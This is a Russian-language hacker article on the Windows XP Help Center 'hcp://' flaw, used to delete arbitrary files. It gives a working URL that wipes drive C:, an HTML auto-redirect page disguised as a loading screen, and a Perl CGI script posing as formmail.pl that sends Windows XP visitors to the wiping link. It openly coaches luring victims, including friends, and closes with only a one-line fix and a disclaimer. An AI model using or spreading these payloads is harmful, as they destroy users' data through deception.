WinXP - первый шаг к пустому винту

Статья взята с http://rst.void.ru
1dt.w0lf

В последнее время достаточно много юзверей перешли на Windows XP как на удобную, достаточно устойчивую и просто приятную ось. К слову сказать я сам пользуюсь вышеназванной операционкой и чувствую себя сухо и комфортно =) Да вот только в каждой программе от дяди Билли нет, нет да и найдут багу способную подпортить жизнь обычным пользователям сети. ХРень также не смогла не попасть в списки дырявых продуктов. Конечно нет смысла описывать все баги найденные в ней и я пожалуй расскажу только об одном, а именно о баге в Help Center.

Начну с описания уязвимости:
Удаление произвольных файлов в Windows XP и не только, возможно благодаря встроенному Help and Support Center, который является унифицированным хелпом для XP и представляет собой расширенную версию, появившуюся в Windows ME. Приложение региструет подключаемый протокол "hcp://", который может быть использован для запуска хелп центра с сайта. Также он служит для навигации внутри центра. Файл и путь указанный в URL для hcp протокола откроет соответствующий файл по пути, указанному в HELPCTR. Т.е. URL "hcp://system/sysinfo/msinfo.htm" запустит центр и откроет в нем "%windir%\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm". Существуют разные ограничения, однако важна сама суть, того что центр будет отображать страницу со своими правами, позволяя скриптам выполняться без ведома пользователя.
Файл %windir%\PCHEALTH\HELPCTR\System\DFS\uplddrvinfo.htm, размером 32463 байта, используется хелп центром для загрузки в веб информации о железе/драйверах пользователя, в случае возникновения у него каких-либо проблем (troubleshooting hardware issues). Вот часть скрипта, содержащегося в нем:

var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
oFSO.DeleteFile( sFile );
}

Где параметр 'sFile' берется из URL. Хелп центр загружает в себя uplddrvinfo.htm и выполняет его со своими правами, не выдавая никаких дополнительных сообщений.
Используя 'hcp:' можно передать данные непосредственно в URL:
hcp://system/DFS/uplddrvinfo.htm?file://c:\windows\*
Все файлы внутри папки Windows будут удалены.

Для тех кто не совсем понял обьясняю. Если пользователь WInXP откроет свой браузер и введёт в качестве урл строку: hcp://system/DFS/uplddrvinfo.htm?file://c:\* то тогда все файлы на диске C:\ будут удалены без всяких предупреждений. Просто и удобно. Теперь самое интересное... нам как-то надо заставить ненавистного нам юзера перейти по такой ссылке. Самое простое конечно просто предложить ему ввести урл в браузер, но с подозрительным человеком такая шутка не пройдёт т.к. он обязательно поинтересуется почему ссылка выглядит так подозрительно? Да и даже если мы заставим его сделать это то потом когда юзер потеряет свои файлы он будет знать из-за кого это произошло... и при встрече с ним у вас будет не лучший момент в жизни =) Можно сделать на своей странице ссылку типа:

<a href="hcp://system/DFS/uplddrvinfo.htm?file://c:\*">СЮДА НЕ ЖАТЬ</a>

но вероятность того что пользователь зайдёт на вашу страницу и примется кликать на этой ссылке тоже не очень велика =(
Значит надо автоматизировать процесс перехода по заданной ссылке. Наиболее простой способ имхо это реализовать автоматический переход средствами html. Создаём документ index.htm и в него пишем следующее:
        <HTML>
        <HEAD>
        <META HTTP-EQUIV="refresh" CONTENT="1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\*">
        </HEAD>
       <br> <br> <br> <br> <br> <br> <br> <br> <CENTER> <B>LOADING... <BR>PLEASE WAIT </B> </CENTER>
        </HTML>
Теперь регистрируем себе сайт, например www.winXPdie.narod.ru и заливаем на него наш индексный файл. Теперь всё что нам нужно это послать пользователю сообщение о новом супер интересном сайте где много всего нужного и т.д. и т.п. и дать ссылку на наш сайт. Юзверь заходит по ссылке, естественно загружается наш индексный файл который через секунду переправляет юзверя по нужной нам ссылке. В результате у пользователя на компе открывается Help Center и файлики с винта начинают бесследно исчезать =)

Ну вот все твои друзья использующие Виндоуз-ХРень лишились своих файлов и тихо матюгаясь восстанавливают систему. Теперь наверно стоит закончить с этими шалостями и занятся более серьёзными делами. Например придумать как нам может помочь эта уязвимость для наказания всякого рода script kiddies которые так и норовят поломать ваш сайт. Какая прога самая популярная в инструментарии скриптовых детишек? Конечно-же сканер уязвимых скриптов! Ну чтож давайте не будем обманывать ожидания этих "хэкеров" и подготовим для них пару уязвимых скриптов. Пишем скрипт:
       #!/usr/bin/perl
       # путь к перлу

       # получаем информацию о браузере
       $useragent=$ENV{'HTTP_USER_AGENT'};

       # если операционка WinXP то выводим страницу с редиректом
       # IE6.0 на XP передаёт строку Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
       if ($useragent=~/Windows NT 5/){
       print "Content-type: text/html\n\n";
       print "<HTML><HEAD>";
       # в следующей строке и производится редирект на спец. урл
       # вы можете отредактировать его для удаления определённых файлов
       print "<META HTTP-EQUIV=\"refresh\" CONTENT=\"1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\*\">";
       print "</HEAD>";
       print "<br><br><br><br><br><br><br><br><center><B>LOADING...<BR>PLEASE WAIT</B></CENTER>";
       print "</HTML>";
       }
       # если информация о браузере не передана то выводим страницу с редиректом (на всякий случай :)
       else {
       if ($useragent=""){
       print "Content-type: text/html\n\n";
       print "<HTML><HEAD>";
       print "<META HTTP-EQUIV=\"refresh\" CONTENT=\"1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\*\">";
       print "</HEAD>";
       print "<br><br><br><br><br><br><br><br><center><B>LOADING...<BR>PLEASE WAIT</B></CENTER>";
       print "</HTML>";
       }
       # если информация получена и ОС не WinXP то выводим NOT FOUND
       else {
       print "Content-type: text/html\n\n";
       print "<HTML><HEAD>";
       print "</HEAD>";
       print "<br><br><br><br><br><br><br><br><center><B>NOT FOUND </B></CENTER>";
       print "</HTML>";
       }
       }
Теперь кладём этот скрипт на сайт в папку cgi-bin под именем любого часто встречающегося в базах cgi-сканеров скрипта (например formmail.pl) и ставим аттрибут исполняемости. Теперь при запросе сканера www.ваш_сайт.ru/cgi-bin/имя_скрипта.pl (www.site.ru/cgi-bin/formmail.pl) сканер выдаст ответ '200' FOUND что нам и надо =) Любопытный взломщик скорее всего загрузит этот УРЛ в браузере... скрипт во время исполнения перешлёт его по нужной ссылке и если на машине хакера установлена ВиньХР то все файлы на его диске С будут удалены =)

На последок хочу рассказать как пофиксить эту багу:
Временным решением может быть простое удаление файла
c:\windows\PCHEALTH\HELPCTR\System\DFS\uplddrvinfo.htm

P.S. Эта статья не пособие по удалению файлов с винтов бедных пользователей WindowsXP, цель этой статьи показать обычным юзерам на опасность которая может подстерегать их в сети и помочь им предотвратить её. Блин чуть не забыл ещё одно: Я не несу никакой ответственности за возможный вред который могут причинить читатели воспользовавшись информацией данной статьи. Прошу не сваливать на меня вину за гигабайты удалённых файлов, во всём виноваты мЫкрософт и дядя Билли. =)
X